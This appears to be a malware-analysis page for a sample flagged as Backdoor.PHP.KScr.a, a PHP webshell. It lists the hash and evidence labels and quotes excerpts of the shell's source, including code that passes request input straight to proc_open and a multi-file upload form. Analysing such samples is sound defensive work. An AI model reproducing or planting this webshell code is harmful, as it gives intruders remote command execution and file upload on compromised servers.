Hostile 100% php Download

Backdoor.PHP.KScr.a

PHP webshell with backdoor features

PHP Webshells Github Archive - from files Dive Shell 1.0Web Shell
SHA-2568dc83543f198f0db02cf31fab2eb9a9e004bd4610eb90c5c227d4d570dea59c4

Evidence

PHP $_REQUEST-driven command execution (webshell pattern) lines 1–6
1<?php
2/* <Settings> */
3$Title = "K. Script v0.3 Beta By Unixcrew: ";
4$GraphicHeader = '<meta http-equiv="Content-Type" content="text/html; charset=windows-1257">
5 <style type="text/css">
6 bod …
Names the CGI QUERY_STRING variable lines 77–118
77:28… "1" ></div>
78 <div align="center" class="Black">Copyright &copy; 2005 <a href="mailto:[email protected]">Unixcrew</a></div>
79</body></html>';
80/* </Settings> */
81
82if ($_SERVER['QUERY_STRING'] == '') {
83header("Location: http://" . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'] . "?MainPage");
84}
85
86if(isset($_GET['PHPShell'])) {
87/* <ShellScript> */
88$passwd = array();
89$aliases = array();
90
91session_start();
92if (empty($_SESSION['cwd']) || !empty($_REQUEST['reset'])) {
93 $_SESSION['cwd'] = getcwd();
94 $_SESSION['history'] = array();
95 $_SESSION['output'] = '';
⋯5 lines
101 }
102
103 if (($i = array_search($_REQUEST['command'], $_SESSION['history'])) !== false)
104 unset($_SESSION['history'][$i]);
105
106 array_unshift($_SESSION['history'], $_REQUEST['command']);
107
108 $_SESSION['output'] .= '$ ' . $_REQUEST['command'] . "\n";
109
110 /* Initialize the current working directory. */
111 if (ereg('^[[:blank:]]*cd[[:blank:]]*$', $_REQUEST['command'])) {
112 $_SESSION['cwd'] = dirname(__FILE__);
113 } elseif (ereg('^[[:blank:]]*cd[[:blank:]]+([^;]+)$', $_REQUEST['command'], $regs)) {
114 /* The current command is a 'cd' command which we have to handle
115 * as an internal shell command. */
116
117 if ($regs[1][0] == '/') {
118 …
$_REQUEST reaches passthru/popen/proc_open lines 153–165
153:23… n($_REQUEST['command'], " \t");
154 $token = substr($_REQUEST['command'], 0, $length);
155 if (isset($aliases[$token]))
156 $_REQUEST['command'] = $aliases[$token] . substr($_REQUEST['command'], $length);
157
158 $p = proc_open($_REQUEST['command'],
159 array(1 => array('pipe', 'w'),
160 2 => array('pipe', 'w')),
⋯5 lines
Contains an HTML document string literal lines 176–214
176:21… ;
177 }
178 }
179
180 /* Build the command history for use in the JavaScript */
181 if (empty($_SESSION['history'])) {
182 $js_command_hist = '""';
⋯4 lines
187
188
189echo '<xml version="1.0" encoding="UTF-8">';
190echo '<html><head><title>'.$Title.' PHPShell</title>';
191echo $GraphicHeader;
192?>
193<!-- </ShellScript> -->
⋯5 lines
199<script type="text/javascript" language="JavaScript">
200 var current_line = 0;
201 var command_hist = new Array(<?php echo $js_command_hist ?>);
202 var last = 0;
203
204 function key(e) {
205 if (!e) var e = window.event;
206
207 if (e.keyCode == 38 && current_line < command_hist.length-1) {
208 command_hist[current_line] = document.shell.command.value;
209 current_line++;
⋯5 lines
HTML form declares the POST method lines 313–321
313:8… lass="Marged">
314 <div class="Table">
315 <center>
316 <br>
317 <form enctype="multipart/form-data" method="post" action="">
318 <div>
319 <?php
320 for($i=0; $i<10; $i++){
321 echo '<div><input class="Input" type="file" name="file_n[]" …

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.